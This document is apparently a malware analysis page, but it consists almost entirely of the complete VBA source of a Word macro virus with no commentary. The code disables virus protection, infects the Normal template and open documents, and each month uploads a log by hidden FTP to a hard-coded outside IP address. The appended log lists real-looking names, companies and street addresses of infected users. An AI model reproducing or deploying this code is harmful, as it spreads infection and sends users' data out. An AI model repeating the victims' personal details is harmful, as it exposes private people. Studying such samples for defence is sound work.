Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For I = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next I
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For I = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next I

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 11:16:41 AM - Wednesday, 23 Dec 1998
' BCBSA
'



' 01:30:35 PM - Wednesday, 30 Dec 1998
' BCBSA
'



' 01:36:45 PM - Monday, 4 Jan 1999
' Sue Rosinski
'



' 03:03:59 PM - Tuesday, 5 Jan 1999
' BCBSA
'



' 07:47:25 AM - Monday, 18 Jan 1999
' SC Group Inc.
'



' 10:30:59 AM - Wednesday, 20 Jan 1999
' David Novick
' David T. Novick, Esq.
' 1838 N. Halsted
' Chicago, IL 60614



' 11:07:20 AM - Tuesday, 26 Jan 1999
' SCGroup
' C. Robert Heaton
' 7 West County Line Road
' Barrington, IL  60010



' 02:05:44 PM - Monday, 1 Feb 1999
' Right Management Consultants
' R. Noble
' 909 Dolores Street
' San Francisco, CA  94110



' 04:02:55 PM - Friday, 5 Feb 1999
' Pat Smith
'



' 01:14:33 PM - Monday, 15 Feb 1999
' Kinko's
' 43734 Palisades Drive
' Canton MI  48187



' 07:45:50 AM - Tuesday, 16 Feb 1999
' Kinko's
'



' 10:53:40  - mercredi, 17 févr 1999
' Russell R. Bush
'



' 12:09:54 PM - Tuesday, 20 Apr 1999
' Edwin Tonkin
'



' 06:02:56 PM - Wednesday, 21 Apr 1999
' Articulation
'



' 11:32:47 PM - Tuesday, 4 May 1999
' Shiri Li-Ron
'



' 10:13:11 AM - Thursday, 20 May 1999
' Kinko's
'



' 01:58:27 PM - Wednesday, 6 Oct 1999
' Sandi
'



' 04:18:07 PM - Saturday, 13 Nov 1999
' Sandi
'



' 01:29:32 PM - Wednesday, 17 Nov 1999
' Sandi
'



' 11:38:59 AM - Thursday, 18 Nov 1999
' 166
'



' 10:01:01 AM - Thursday, 17 Feb 2000
' 166
'



' 01:40:23 PM - Tuesday, 22 Feb 2000
' 166
'



' 09:07:54 AM - Thursday, 1 Jun 2000
' P5 233MMX
'



' 02:52:10 PM - Tuesday, 6 Jun 2000
' b40jr
'



' 08:35:01 AM - Tuesday, 7 Nov 2000
' Jackie Ghio
'



' 03:37:13 AM - Thursday, 7 Jan 1904
' Computer Wrangler
'


' 09:01:58 AM - Wednesday, 15 Sep 2004
' Computer Wrangler
' Mission Hill Middle School
'



' 02:01:44 PM - Wednesday, 4 May 2005
' d j
' {=\=}
'